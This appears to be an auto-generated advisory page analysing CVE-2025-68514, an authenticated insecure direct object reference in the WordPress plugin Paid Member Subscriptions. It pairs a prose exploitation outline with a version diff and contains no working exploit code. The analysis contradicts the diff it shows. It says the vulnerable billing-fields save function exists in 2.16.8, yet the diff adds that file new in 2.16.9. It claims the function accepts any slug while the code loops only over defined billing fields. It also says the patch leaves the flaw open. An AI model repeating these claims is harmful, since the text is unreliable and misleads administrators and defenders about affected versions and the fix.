Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68514: Paid Member Subscriptions <= 2.16.8 – Authenticated (Subscriber+) Insecure Direct Object Reference (paid-member-subscriptions)

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 2.16.8
Patched Version 2.16.9
Disclosed February 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68514:
The Paid Member Subscriptions WordPress plugin contains an Insecure Direct Object Reference vulnerability affecting versions up to and including 2.16.8. This vulnerability allows authenticated attackers with Subscriber-level access or higher to perform unauthorized actions by manipulating a user-controlled key parameter.

Root Cause:
The vulnerability exists in the plugin’s Profile Builder integration component. The function `pms_pb_billing_fields_save()` in `/paid-member-subscriptions/extend/profile-builder/front-end/billing-fields.php` processes billing field data without proper authorization checks. Specifically, lines 199-217 show that the function iterates through billing fields and updates user metadata based on request data. The function accepts any `$slug` parameter from `$request_data` without verifying if the current user has permission to modify that specific field for the target user ID. The missing validation occurs when the function checks `if( isset( $request_data[$slug] ) )` on line 212, then directly calls `update_user_meta( $user_id, $slug, sanitize_text_field( $request_data[$slug] ) )` without authorization verification.

Exploitation:
An authenticated attacker with Subscriber privileges can exploit this by sending a POST request to the Profile Builder edit profile endpoint with manipulated billing field parameters. The attacker would target the `/wp-admin/admin-ajax.php` endpoint with the appropriate Profile Builder action, or directly submit to the front-end edit profile form. By crafting a request containing arbitrary billing field slugs and values, the attacker can modify user metadata for any user ID accessible through the form. The attack vector requires the attacker to know or guess valid billing field slugs, which are typically defined by the Tax and Invoice add-ons.

Patch Analysis:
The patch in version 2.16.9 restructures the code but does not directly address the authorization issue in the vulnerable function. Atomic Edge research indicates the vulnerability remains unpatched in the provided diff. The code changes primarily reorganize the Profile Builder integration into separate functions (`pms_pb_add_subscription_plans_props` and `pms_pb_add_billing_fields_props`) and add new billing field handling capabilities. However, the `pms_pb_billing_fields_save()` function still lacks authorization checks before updating user metadata. The patch adds new features but fails to implement proper validation on the user-controlled `$slug` parameter.

Impact:
Successful exploitation allows authenticated attackers to modify arbitrary user metadata fields associated with billing information. This could lead to unauthorized changes to user profiles, potential privilege escalation by modifying role-related metadata, or disruption of billing and subscription functionality. While the vulnerability requires Subscriber-level access, it enables horizontal privilege escalation where users can modify data belonging to other users at the same privilege level.

Differential between vulnerable and patched code

Code Diff
--- a/paid-member-subscriptions/extend/profile-builder/admin/manage-fields.php
+++ b/paid-member-subscriptions/extend/profile-builder/admin/manage-fields.php
@@ -3,90 +3,175 @@
 // Exit if accessed directly
 if ( ! defined( 'ABSPATH' ) ) exit;

-    /*
-     * Add extra field properties for the Subscription Plans PB field
-     *
-     * @param array $manage_fields
-     *
-     * @return array
-     *
-     */
-    function pms_pb_manage_fields( $manage_fields ) {
-
-        // Get all subscription plans
-        $subscription_plans = array();
-        $subscription_plans[] = '%'. __( 'All', 'paid-member-subscriptions' ) .'%all';
-
-        foreach( pms_get_subscription_plans() as $subscription_plan )
-            $subscription_plans[] = '%' . $subscription_plan->name . '%' . $subscription_plan->id;
-
-        // Prepare subscription plans for default select
-        $subscription_plans_select = array( '%' . __( 'Choose...', 'paid-member-subscriptions' ) . '%-1' );
-        $subscription_plans_select = array_merge( $subscription_plans_select, $subscription_plans );
-
-        // Append field properties
-        if ( empty($subscription_plans) )/* translators: %s: url */
-            $manage_fields[] = array( 'type' => 'checkbox', 'slug' => 'subscription-plans', 'title' => __( 'Subscription Plans on Register Form', 'paid-member-subscriptions' ), 'options' => $subscription_plans, 'description' => sprintf( __( 'It looks like there are no active subscriptions. <a href="%s">Create one here</a>.', 'paid-member-subscriptions' ), 'edit.php?post_type=pms-subscription' ) );
-        else
-            $manage_fields[] = array( 'type' => 'checkbox', 'slug' => 'subscription-plans', 'title' => __( 'Subscription Plans on Register Form', 'paid-member-subscriptions' ), 'options' => $subscription_plans, 'description' => __( "Select which Subscription Plans to show to the user on the register forms ( drag and drop to re-order )", 'paid-member-subscriptions' ) );
-
-        $manage_fields[] = array( 'type' => 'text', 'slug' => 'subscription-plans-sort-order', 'title' => __( 'Subscription Plans Order', 'paid-member-subscriptions' ), 'description' => __( "Save the subscription plan order from the subscription plans checkboxes", 'paid-member-subscriptions' ) );
-
-        if( count( $subscription_plans_select ) > 1 ){
-            unset( $subscription_plans_select[1] ); // remove the All option
-            $manage_fields[] = array( 'type' => 'select', 'slug' => 'subscription-plan-selected', 'title' => __( 'Selected Subscription Plan', 'paid-member-subscriptions' ), 'options' => $subscription_plans_select, 'description' => __( "Select which plan will be by default selected when the front-end form loads.", 'paid-member-subscriptions' ) );
-        }
-
-        return $manage_fields;
-
+/**
+ * Add extra field properties for the Subscription Plans PB field
+ *
+ * @param array $manage_fields
+ *
+ * @return array
+ *
+ */
+function pms_pb_manage_fields( $manage_fields ) {
+
+    // add Subscription Plans PB field properties
+    $manage_fields = pms_pb_add_subscription_plans_props( $manage_fields );
+
+    // add PMS Billing Fields PB field properties
+    $manage_fields = pms_pb_add_billing_fields_props( $manage_fields );
+
+    return $manage_fields;
+
+}
+add_filter( 'wppb_manage_fields', 'pms_pb_manage_fields' );
+
+/**
+ * Function that adds extra field properties for the Subscription Plans PB field
+ *
+ * @param $manage_fields
+ * @return mixed
+ */
+function pms_pb_add_subscription_plans_props( $manage_fields ) {
+
+    // Get all subscription plans
+    $subscription_plans = array();
+    $subscription_plans[] = '%'. __( 'All', 'paid-member-subscriptions' ) .'%all';
+
+    foreach( pms_get_subscription_plans() as $subscription_plan )
+        $subscription_plans[] = '%' . $subscription_plan->name . '%' . $subscription_plan->id;
+
+    // Prepare subscription plans for default select
+    $subscription_plans_select = array( '%' . __( 'Choose...', 'paid-member-subscriptions' ) . '%-1' );
+    $subscription_plans_select = array_merge( $subscription_plans_select, $subscription_plans );
+
+    // Append field properties
+    if ( empty($subscription_plans) )/* translators: %s: url */
+        $manage_fields[] = array( 'type' => 'checkbox', 'slug' => 'subscription-plans', 'title' => __( 'Subscription Plans on Register Form', 'paid-member-subscriptions' ), 'options' => $subscription_plans, 'description' => sprintf( __( 'It looks like there are no active subscriptions. <a href="%s">Create one here</a>.', 'paid-member-subscriptions' ), 'edit.php?post_type=pms-subscription' ) );
+    else
+        $manage_fields[] = array( 'type' => 'checkbox', 'slug' => 'subscription-plans', 'title' => __( 'Subscription Plans on Register Form', 'paid-member-subscriptions' ), 'options' => $subscription_plans, 'description' => __( "Select which Subscription Plans to show to the user on the register forms ( drag and drop to re-order )", 'paid-member-subscriptions' ) );
+
+    $manage_fields[] = array( 'type' => 'text', 'slug' => 'subscription-plans-sort-order', 'title' => __( 'Subscription Plans Order', 'paid-member-subscriptions' ), 'description' => __( "Save the subscription plan order from the subscription plans checkboxes", 'paid-member-subscriptions' ) );
+
+    if( count( $subscription_plans_select ) > 1 ){
+        unset( $subscription_plans_select[1] ); // remove the All option
+        $manage_fields[] = array( 'type' => 'select', 'slug' => 'subscription-plan-selected', 'title' => __( 'Selected Subscription Plan', 'paid-member-subscriptions' ), 'options' => $subscription_plans_select, 'description' => __( "Select which plan will be by default selected when the front-end form loads.", 'paid-member-subscriptions' ) );
     }
-    add_filter( 'wppb_manage_fields', 'pms_pb_manage_fields' );
-

-    /*
-     * Include necessary scripts for Profile Builder compatibility
-     *
-     */
-    function pms_pb_enqueue_scripts() {
+    return $manage_fields;
+}

-        if( is_admin() )
-            wp_enqueue_script( 'pms-pb-main-js', PMS_PLUGIN_DIR_URL . 'extend/profile-builder/assets/js/main.js', array( 'jquery' ) );

+/**
+ * Function that adds extra field properties for the PMS Billing Fields PB field
+ * - fields from Tax and/or Invoice Add-ons
+ *
+ * @param $manage_fields
+ * @return mixed
+ */
+function pms_pb_add_billing_fields_props( $manage_fields ) {
+    $billing_fields = pms_pb_get_billing_fields();
+
+    $fields = array();
+    foreach ( $billing_fields as $field ) {
+        $fields[] = '%' . $field['label'] . '%' . $field['name'];
     }
-    add_action( 'admin_enqueue_scripts', 'pms_pb_enqueue_scripts', 9 );

+    $manage_fields[] = array(
+        'type' => 'checkbox',
+        'slug' => 'pms-billing-fields',
+        'title' => 'Billing Fields',
+        'options' =>  $fields,
+        'description' => ! empty( $fields )
+            ? sprintf(
+                esc_html__( 'Select the Billing Fields you want to display on the Edit Profile forms. %s If no fields are selected, all available Billing Fields will be displayed.', 'paid-member-subscriptions' ),
+                '<br>'
+            )
+            : sprintf(
+                esc_html__( '%1$sBilling Fields are not available!%2$s %5$s Activate the %1$sTax%2$s and/or %1$sInvoice%2$s add-ons from the %3$sPaid Member Subscriptions Add-ons%4$s section.', 'paid-member-subscriptions' ),
+                '<strong>',
+                '</strong>',
+                '<a href="' . admin_url( 'admin.php?page=pms-addons-page' ) . '">',
+                '</a>',
+                '<br>'
+            ),
+    );
+
+    return $manage_fields;
+}
+
+
+/**
+ * Include necessary scripts for Profile Builder compatibility
+ *
+ */
+function pms_pb_enqueue_scripts() {
+
+    wp_enqueue_script( 'pms-pb-main-js', PMS_PLUGIN_DIR_URL . 'extend/profile-builder/assets/js/main.js', array( 'jquery' ) );
+
+    wp_enqueue_script( 'pms-wp-edit-user-script', PMS_PLUGIN_DIR_URL . 'assets/js/admin/submenu-page-members-page.js', array('jquery'), PMS_VERSION );
+    wp_localize_script( 'pms-wp-edit-user-script', 'PMS_States', pms_get_billing_states() );
+
+}
+add_action( 'admin_enqueue_scripts', 'pms_pb_enqueue_scripts', 9 );
+
+
+/**
+ * Function that ads the Subscription Plans field to the fields list
+ * and also the list of fields that skip the meta-name check
+ *
+ * @param array $fields     - The names of all the fields
+ *
+ * @return array
+ *
+ */
+function pms_pb_manage_field_types( $fields ) {
+    $fields[] = 'Subscription Plans';
+    $fields[] = 'PMS Billing Fields';
+
+    return $fields;
+}
+add_filter( 'wppb_manage_fields_types', 'pms_pb_manage_field_types' );
+add_filter( 'wppb_skip_check_for_fields', 'pms_pb_manage_field_types' );
+
+
+/**
+ * Function that calls the pms_pb_handle_subscription_plans_field
+ *
+ * @since v.2.0
+ *
+ * @param void
+ *
+ * @return string
+ */
+function pms_pb_subscription_plans_sortable( $meta_name, $id, $element_id ){
+    if ( $meta_name == 'wppb_manage_fields' ) {
+        echo "<script type="text/javascript">pms_pb_handle_sorting_subscription_plans_field( '#container_wppb_manage_fields' );</script>";
+    }

-    /*
-     * Function that ads the Subscription Plans field to the fields list
-     * and also the list of fields that skip the meta-name check
-     *
-     * @param array $fields     - The names of all the fields
-     *
-     * @return array
-     *
-     */
-    function pms_pb_manage_field_types( $fields ) {
-        $fields[] = 'Subscription Plans';
+}
+add_action("wck_after_adding_form", "pms_pb_subscription_plans_sortable", 10, 3);

-        return $fields;
+/**
+ * Add a notification for either the Username or the Email field letting the user know that, even though it is there, it won't do anything
+ *
+ * @since v.2.0
+ *
+ * @param string $form
+ * @param integer $id
+ * @param string $value
+ *
+ * @return string $form
+ */
+
+ function pms_pb_manage_fields_display_field_title_slug( $form ){
+    // add a notice to fields
+	global $wppb_results_field;
+    switch ($wppb_results_field){
+        case 'PMS Billing Fields':
+            $form .= '<div id="wppb-pms-billing-fields-nag" class="wppb-backend-notice">' . __( 'PMS Billing Fields - only appears on the Edit Profile page.', 'paid-member-subscriptions' ) . '</div>';
+            break;
     }
-    add_filter( 'wppb_manage_fields_types', 'pms_pb_manage_field_types' );
-    add_filter( 'wppb_skip_check_for_fields', 'pms_pb_manage_field_types' );
-

-    /**
-     * Function that calls the pms_pb_handle_subscription_plans_field
-     *
-     * @since v.2.0
-     *
-     * @param void
-     *
-     * @return string
-     */
-    function pms_pb_subscription_plans_sortable( $meta_name, $id, $element_id ){
-        if ( $meta_name == 'wppb_manage_fields' ) {
-            echo "<script type="text/javascript">pms_pb_handle_sorting_subscription_plans_field( '#container_wppb_manage_fields' );</script>";
-        }
+    return $form;
+}

-    }
-    add_action("wck_after_adding_form", "pms_pb_subscription_plans_sortable", 10, 3);
 No newline at end of file
+add_filter( 'wck_after_content_element', 'pms_pb_manage_fields_display_field_title_slug' );
 No newline at end of file
--- a/paid-member-subscriptions/extend/profile-builder/front-end/billing-fields.php
+++ b/paid-member-subscriptions/extend/profile-builder/front-end/billing-fields.php
@@ -0,0 +1,217 @@
+<?php
+
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/**
+ * Get the PMS Billing Fields list
+ *
+ * @return array
+ */
+function pms_pb_get_billing_fields() {
+    $extra_fields = apply_filters( 'pms_extra_form_fields', array(), 'register' );
+
+    if ( empty( $extra_fields ) || ! is_array( $extra_fields ) )
+        return array();
+
+    foreach ( $extra_fields as $slug => $field_data ) {
+
+        if ( ! isset( $field_data['name'] ) || ! isset( $field_data['label'] ) || ! isset( $field_data['section'] ) || $field_data['section'] !== 'billing_details' )
+            unset( $extra_fields[ $slug ] );
+
+    }
+
+    return $extra_fields;
+}
+
+/**
+ * Handle the PMS Billing Fields output
+ *
+ * @param $output
+ * @param $form_location
+ * @param $field
+ * @param $user_id
+ * @param $field_check_errors
+ * @param $request_data
+ * @return mixed|null
+ */
+function pms_pb_billing_fields_handler( $output, $form_location, $field, $user_id, $field_check_errors, $request_data ) {
+
+    if ( $field['field'] !== 'PMS Billing Fields' || ( $form_location !== 'edit_profile' && $form_location !== 'back_end') )
+        return $output;
+
+    $billing_fields = pms_pb_get_billing_fields();
+    $selected_fields = ! empty( $field['pms-billing-fields'] ) ? apply_filters( 'pms_pb_displayed_billing_fields', explode( ', ', $field['pms-billing-fields'] ), $form_location, $field ) : array();
+
+    // Field title
+    $field_title = !empty( $field['field-title'] ) ? '<h4>' . esc_html( $field['field-title'] ) . '</h4>' : '';
+    $output .= apply_filters( 'pms_pb_billing_fields_title', $field_title, $form_location );
+
+    foreach ( $billing_fields as $slug => $field_data ) {
+
+        if ( empty( $selected_fields ) || in_array( $slug, $selected_fields ) )
+            $output .= pms_pb_get_billing_field_output( $field_data, $user_id );
+
+    }
+
+    return apply_filters( 'wppb_'.$form_location.'_pms_billing_fields', $output, $form_location, $field, $user_id, $field_check_errors, $request_data );
+}
+add_filter( 'wppb_output_form_field_pms-billing-fields', 'pms_pb_billing_fields_handler', 10, 6 );
+add_filter( 'wppb_admin_output_form_field_pms-billing-fields', 'pms_pb_billing_fields_handler', 10, 6 );
+
+/**
+ * Get the HTML output for each PMS Billing Fields
+ *
+ * @param $field
+ * @param $user_id
+ * @return string
+ */
+function pms_pb_get_billing_field_output( $field, $user_id ) {
+    $output = '';
+
+    // Determine field wrapper element tag
+    $field_element_wrapper = ( ! empty( $field['element_wrapper'] ) ? $field['element_wrapper'] : 'div' );
+
+    // Opening element tag of the field
+    $output .= '<' . esc_attr( $field_element_wrapper ) . ' class="cozmoslabs-form-field-wrapper pms-field pms-field-type-' . esc_attr( $field['type'] ) . ' ' . ( ! empty( $field['required'] ) ? 'pms-field-required' : '' ) . ' ' . ( ! empty( $field['wrapper_class'] ) ? esc_attr( $field['wrapper_class'] ) : '' ) . '">';
+
+    // Field label
+    if( ! empty( $field['label'] ) ) {
+
+        $output .= '<label ' . ( ! empty( $field['name'] ) ? 'for="' . esc_attr( $field['name'] ) . '"' : '' ) . ' class="cozmoslabs-form-field-label">';
+
+        $output .= esc_attr( $field['label'] );
+
+        // Required asterix
+        $output .= ( ! empty( $field['required'] ) ? '<span class="pms-field-required-asterix">*</span>' : '' );
+
+        $output .= '</label>';
+
+    }
+
+    $output .= apply_filters( 'pms_pb_billing_field_inner_' . $field['type'], '', $field, $user_id );
+
+    // Field description
+    if( ! empty( $field['description'] ) )
+        $output .= '<p class="pms-field-description cozmoslabs-description cozmoslabs-description-align-right">' . esc_html( $field['description'] ) . '</p>';
+
+    // Field errors
+    if( ! empty( $field['name'] ) ) {
+
+        $errors = pms_errors()->get_error_messages( $field['name'] );
+
+        if( ! empty( $errors ) )
+            pms_display_field_errors( $errors );
+
+    }
+
+    // Closing element tag of each section
+    $output .= '</' . esc_attr( $field_element_wrapper ) . '>';
+
+    return $output;
+}
+
+/**
+ * Get the html output for the input type text PMS Billing Fields
+ *
+ * @param $output
+ * @param $field
+ * @param $user_id
+ * @return mixed|string
+ */
+function pms_pb_get_billing_field_inner_text( $output, $field, $user_id ) {
+
+    if( $field['type'] !== 'text' || empty( $field['name'] ) )
+        return $output;
+
+    // Set value (get the value like this for it to be accessible for both back_end and front_end Edit Profile forms)
+    $value = get_user_meta( $user_id, $field['name'], true );
+
+    // Field output
+    $output = '<input type="text" id="' . esc_attr( $field['name'] ) . '" name="' . esc_attr( $field['name'] ) . '" value="' . esc_attr( $value ) . '" />';
+
+    return $output;
+}
+add_filter( 'pms_pb_billing_field_inner_text', 'pms_pb_get_billing_field_inner_text', 10, 3 );
+
+/**
+ * Get the html output for the select type PMS Billing Fields
+ *
+ * @param $output
+ * @param $field
+ * @param $user_id
+ * @return mixed|string
+ */
+function pms_pb_billing_field_inner_select( $output, $field, $user_id ) {
+
+    if( $field['type'] !== 'select' || empty( $field['name'] ) )
+        return $output;
+
+    // Set value (get the value like this for it to be accessible for both back_end and front_end Edit Profile forms)
+    $value = get_user_meta( $user_id, $field['name'], true );
+
+    // Field output
+    $output  = '<select id="' . esc_attr( $field['name'] ) . '" name="' . esc_attr( $field['name'] ) . '">';
+
+    if( ! empty( $field['options'] ) ) {
+
+        foreach( $field['options'] as $option_value => $option_label )
+            $output .= '<option value="' . esc_attr( $option_value ) . '" ' . selected( $value, $option_value, false ) . '>' . esc_html( $option_label ) . '</option>';
+
+    }
+
+    $output .= '</select>';
+
+    return $output;
+}
+add_filter( 'pms_pb_billing_field_inner_select', 'pms_pb_billing_field_inner_select', 10, 3 );
+
+/**
+ * Get the html output for the select_state type PMS Billing Fields
+ *
+ * @param $output
+ * @param $field
+ * @param $user_id
+ * @return mixed|string
+ */
+function pms_pb_billing_field_inner_select_state( $output, $field, $user_id ) {
+
+    if( $field['type'] !== 'select_state' || empty( $field['name'] ) )
+        return $output;
+
+    // Set value (get the value like this for it to be accessible for both back_end and front_end Edit Profile forms)
+    $value = get_user_meta( $user_id, $field['name'], true );
+
+    $output  = '<select id="' . esc_attr( $field['name'] ) . '" name="' . esc_attr( $field['name'] ) . '" class="pms-billing-state__select"></select>';
+    $output .= '<input type="text" id="' . esc_attr( $field['name'] ) . '" class="pms-billing-state__input" name="' . esc_attr( $field['name'] ) . '" value="' . esc_attr( $value ) . '" />';
+
+    return $output;
+}
+add_filter( 'pms_pb_billing_field_inner_select_state', 'pms_pb_billing_field_inner_select_state', 10, 3 );
+
+/**
+ * Save the PMS Billing Fields data
+ *
+ * @param $field
+ * @param $user_id
+ * @param $request_data
+ * @param $form_location
+ * @return void
+ */
+function pms_pb_billing_fields_save( $field, $user_id, $request_data, $form_location ) {
+
+    if( $field['field'] !== 'PMS Billing Fields' || ( $form_location !== 'edit_profile' && $form_location !== 'backend-form' ) || empty( $user_id ) || is_wp_error( $user_id ) )
+        return;
+
+    $billing_fields = pms_pb_get_billing_fields();
+
+    foreach( $billing_fields as $slug => $field_data ) {
+
+        if( isset( $request_data[$slug] ) )
+            update_user_meta( $user_id, $slug, sanitize_text_field( $request_data[$slug] ) );
+
+    }
+
+}
+add_action( 'wppb_save_form_field', 'pms_pb_billing_fields_save', 10, 4 );
+add_action( 'wppb_backend_save_form_field', 'pms_pb_billing_fields_save', 10, 4 );
 No newline at end of file
--- a/paid-member-subscriptions/includes/admin/class-admin-payments-list-table.php
+++ b/paid-member-subscriptions/includes/admin/class-admin-payments-list-table.php
@@ -574,7 +574,7 @@
         if( ! empty( $item['payment_gateway'] ) )
             $output .= ' (' . esc_html( $item['payment_gateway'] ) . ')';

-        return $output;
+        return apply_filters( 'pms_payments_list_table_column_type', $output, $item );

     }

--- a/paid-member-subscriptions/includes/admin/class-admin-reports.php
+++ b/paid-member-subscriptions/includes/admin/class-admin-reports.php
@@ -852,7 +852,7 @@
             foreach( $queried_payments as $payment ) {
                 $currency             = !empty( $payment['currency'] ) ? $payment['currency'] : $default_currency;
                 $currency             = apply_filters( 'pms_reports_payment_currency', $currency, $payment );
-                $base_currency_amount = get_metadata( 'payment', $payment['id'], 'base_currency_amount', true );
+                $base_currency_amount = pms_get_payment_meta( $payment['id'], 'base_currency_amount', true );

                 // Total Payment Amounts in Default Currency
                 if ( $currency === $default_currency ) {
--- a/paid-member-subscriptions/includes/admin/meta-boxes/views/view-meta-box-subscription-details.php
+++ b/paid-member-subscriptions/includes/admin/meta-boxes/views/view-meta-box-subscription-details.php
@@ -70,16 +70,6 @@
     </div>

     <?php do_action( 'pms_view_meta_box_subscription_details_sign_up_fee_bottom', $subscription_plan->id ); ?>
-<?php else : ?>
-    <div class="pms-meta-box-field-wrapper cozmoslabs-form-field-wrapper">
-
-        <label for="pms-subscription-plan-sign-up-fee" class="pms-meta-box-field-label cozmoslabs-form-field-label"><?php esc_html_e( 'Sign-up Fee', 'paid-member-subscriptions' ); ?></label>
-
-        <span class="cozmoslabs-disabled-input">0</span><strong><?php echo esc_html( pms_get_active_currency() ); ?></strong>
-
-        <p class="cozmoslabs-description cozmoslabs-description-align-right"><?php printf( esc_html__( 'This feature is available only with the Manual, %1$sStripe%2$s, %3$sPayPal Express%4$s gateways or %5$sRecurring Payments for PayPal Standard%6$s add-on.', 'paid-member-subscriptions' ), '<a href="https://www.cozmoslabs.com/docs/paid-member-subscriptions/add-ons/stripe-payment-gateway/" target="_blank">', '</a>', '<a href="https://www.cozmoslabs.com/docs/paid-member-subscriptions/add-ons/paypal-pro-and-express-checkout/" target="_blank">', '</a>', '<a href="https://www.cozmoslabs.com/docs/paid-member-subscriptions/add-ons/recurring-payments-for-paypal-standard/" target="_blank">', '</a>' ); ?></p>
-
-    </div>
 <?php endif; ?>

 <!-- Free trial -->
@@ -103,24 +93,6 @@

     </div>

-    <?php do_action( 'pms_view_meta_box_subscription_details_free_trial_bottom', $subscription_plan->id ); ?>
-<?php else : ?>
-    <div class="pms-meta-box-field-wrapper cozmoslabs-form-field-wrapper">
-
-        <label for="pms-subscription-plan-trial-duration" class="pms-meta-box-field-label cozmoslabs-form-field-label"><?php esc_html_e( 'Free Trial', 'paid-member-subscriptions' ); ?></label>
-
-        <span class="pms-disabled-input">0</span><?php echo esc_html( pms_get_active_currency() ); ?>
-
-        <select id="pms-subscription-plan-trial-duration-unit" disabled>
-            <option value="day"   <?php selected( 'day', $subscription_plan->trial_duration_unit, true ); ?>><?php esc_html_e( 'Day(s)', 'paid-member-subscriptions' ); ?></option>
-            <option value="week"  <?php selected( 'week', $subscription_plan->trial_duration_unit, true ); ?>><?php esc_html_e( 'Week(s)', 'paid-member-subscriptions' ); ?></option>
-            <option value="month" <?php selected( 'month', $subscription_plan->trial_duration_unit, true ); ?>><?php esc_html_e( 'Month(s)', 'paid-member-subscriptions' ); ?></option>
-            <option value="year"  <?php selected( 'year', $subscription_plan->trial_duration_unit, true ); ?>><?php esc_html_e( 'Year(s)', 'paid-member-subscriptions' ); ?></option>
-        </select>
-        <p class="cozmoslabs-description cozmoslabs-description-align-right"><?php printf( esc_html__( 'This feature is available only with the Manual, %1$sStripe%2$s, %3$sPayPal Express%4$s gateways or %5$sRecurring Payments for PayPal Standard%6$s add-on.', 'paid-member-subscriptions' ), '<a href="https://www.cozmoslabs.com/docs/paid-member-subscriptions/add-ons/stripe-payment-gateway/" target="_blank">', '</a>', '<a href="https://www.cozmoslabs.com/docs/paid-member-subscriptions/add-ons/paypal-pro-and-express-checkout/" target="_blank">', '</a>', '<a href="https://www.cozmoslabs.com/docs/paid-member-subscriptions/add-ons/recurring-payments-for-paypal-standard/" target="_blank">', '</a>' ); ?></p>
-
-    </div>
-
     <?php do_action( 'pms_view_meta_box_subscription_details_free_trial_bottom', $subscription_plan->id ); ?>
 <?php endif; ?>

--- a/paid-member-subscriptions/includes/class-form-handler.php
+++ b/paid-member-subscriptions/includes/class-form-handler.php
@@ -1781,10 +1781,13 @@
             $subscription_plan = pms_get_subscription_plan( absint( $_POST['subscription_plans'] ) );
         }

+        if( empty( $subscription_plan ) )
+            return false;
+
         if( is_user_logged_in() ){
             $user = get_userdata( get_current_user_id() );

-            if( !empty( $user->user_email ) ){
+            if( !empty( $user ) && !empty( $user->user_email ) ){

                 $used_trial = get_option( 'pms_used_trial_' . $subscription_plan->id, false );

@@ -1794,7 +1797,8 @@
             }
         }

-        return true;
+        return apply_filters( 'pms_checkout_user_can_access_trial', true, $subscription_plan );
+
     }


@@ -2306,6 +2310,21 @@

                     do_action( 'pms_psp_before_'. $form_location, $subscription, isset( $payment ) ? $payment : 0, $subscription_data );

+                    if( isset( $has_trial ) && $has_trial == true && isset( $register_automatic_billing_info_response ) && $register_automatic_billing_info_response == true ){
+                        pms_add_member_subscription_log( $subscription->id, 'subscription_trial_started', array( 'until' => $subscription_data['trial_end'] ) );
+
+                        // Save email when trial is used
+                        $user       = get_userdata( $user_data['user_id'] );
+                        $used_trial = get_option( 'pms_used_trial_' . $subscription_plan->id, false );
+
+                        if( $used_trial == false )
+                            $used_trial = array( $user->user_email );
+                        else
+                            $used_trial[] = $user->user_email;
+
+                        update_option( 'pms_used_trial_' . $subscription_plan->id, $used_trial, false );
+                    }
+
                     $context = 'change';

                     if( $form_location == 'upgrade_subscription' )
--- a/paid-member-subscriptions/includes/functions-subscription-plan.php
+++ b/paid-member-subscriptions/includes/functions-subscription-plan.php
@@ -570,17 +570,8 @@
         return '';

     // if current user already benefited from the trial on this plan, do not add it again
-    if( is_user_logged_in() ){
-        $user = get_userdata( get_current_user_id() );
-
-        if( !empty( $user->user_email ) ){
-
-            $used_trial = get_option( 'pms_used_trial_' . $subscription_plan->id, false );
-
-            if( $used_trial !== false && in_array( $user->user_email, $used_trial ) )
-                return '';
-
-        }
+    if( is_user_logged_in() && !PMS_Form_Handler::user_can_access_trial( $subscription_plan ) ){
+        return '';
     }

     if( ! pms_payment_gateways_support( pms_get_active_payment_gateways(), 'subscription_free_trial' ) )
--- a/paid-member-subscriptions/includes/views/shortcodes/view-shortcode-account-subscription-details.php
+++ b/paid-member-subscriptions/includes/views/shortcodes/view-shortcode-account-subscription-details.php
@@ -72,7 +72,7 @@

             <!-- Subscription next payment -->
             <?php if( ! empty( $subscription->billing_next_payment ) && $subscription->status == 'active' ): ?>
-            <tr>
+            <tr class="pms-account-subscription-details-table__next-payment">
                 <td><?php esc_html_e( 'Next Payment', 'paid-member-subscriptions' ); ?></td>
 				<td>
                     <?php
@@ -99,7 +99,7 @@
                     // Append billing cycle info if enabled and supported
                     if ( $subscription->has_installments() && pms_payment_gateway_supports_cycles( $subscription->payment_gateway ) ) {
                         $next_cycle = pms_get_member_subscription_billing_processed_cycles( $subscription->id ) + 1;
-                        $next_payment_output .= ' (' . $next_cycle . ' of ' . $subscription->billing_cycles . ')';
+                        $next_payment_output .= ' <span class="pms-account-subscription-details-table__next-payment__cycles">(' . $next_cycle . ' of ' . $subscription->billing_cycles . ')</span>';
                     }

                     echo wp_kses_post( $next_payment_output );
@@ -115,7 +115,7 @@

                 $payment_method_data = pms_get_member_subscription_payment_method_details( $subscription->id );
             ?>
-                <tr>
+                <tr class="pms-account-subscription-details-table__payment-method">
                     <td><?php esc_html_e( 'Payment Method', 'paid-member-subscriptions' ); ?></td>
                     <td>
                         <div class="pms-account-subscription-details-table__payment-method">
--- a/paid-member-subscriptions/index.php
+++ b/paid-member-subscriptions/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: Paid Member Subscriptions
  * Plugin URI: http://www.cozmoslabs.com/
  * Description: Accept payments, create subscription plans and restrict content on your membership website.
- * Version: 2.16.8
+ * Version: 2.16.9
  * Author: Cozmoslabs
  * Author URI: http://www.cozmoslabs.com/
  * Text Domain: paid-member-subscriptions
@@ -11,8 +11,8 @@
  * License: GPL2
  * WC requires at least: 3.0.0
  * WC tested up to: 10.3
- * Elementor tested up to: 3.32.5
- * Elementor Pro tested up to: 3.32.5
+ * Elementor tested up to: 3.33.2
+ * Elementor Pro tested up to: 3.33.2
  *
  * == Copyright ==
  * Copyright 2015 Cozmoslabs (www.cozmoslabs.com)
@@ -39,7 +39,7 @@

     public function __construct() {

-        define( 'PMS_VERSION', '2.16.8' );
+        define( 'PMS_VERSION', '2.16.9' );
         define( 'PMS_PLUGIN_DIR_PATH', plugin_dir_path( __FILE__ ) );
         define( 'PMS_PLUGIN_DIR_URL', plugin_dir_url( __FILE__ ) );
         define( 'PMS_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
@@ -941,6 +941,9 @@
         if (file_exists(PMS_PLUGIN_DIR_PATH . 'extend/profile-builder/front-end/subscription-plans-field.php'))
             include_once PMS_PLUGIN_DIR_PATH . 'extend/profile-builder/front-end/subscription-plans-field.php';

+        if (file_exists(PMS_PLUGIN_DIR_PATH . 'extend/profile-builder/front-end/billing-fields.php'))
+            include_once PMS_PLUGIN_DIR_PATH . 'extend/profile-builder/front-end/billing-fields.php';
+
         if( file_exists( PMS_PLUGIN_DIR_PATH . 'extend/profile-builder/functions-email-confirmation.php' ) )
             include_once PMS_PLUGIN_DIR_PATH . 'extend/profile-builder/functions-email-confirmation.php';

--- a/paid-member-subscriptions/translations/paid-member-subscriptions.catalog.php
+++ b/paid-member-subscriptions/translations/paid-member-subscriptions.catalog.php
@@ -1422,6 +1422,7 @@
 <?php __("User updated in the email marketing list. Platform: %s", "paid-member-subscriptions"); ?>
 <?php __("Email Marketing Tier ID", "paid-member-subscriptions"); ?>
 <?php __("Subscribe to our newsletter", "paid-member-subscriptions"); ?>
+<?php __("Email Marketing – %s Newsletter Subscription", "paid-member-subscriptions"); ?>
 <?php __("User Email", "paid-member-subscriptions"); ?>
 <?php __("Display Name", "paid-member-subscriptions"); ?>
 <?php __("User Registered (date)", "paid-member-subscriptions"); ?>
@@ -1751,6 +1752,9 @@
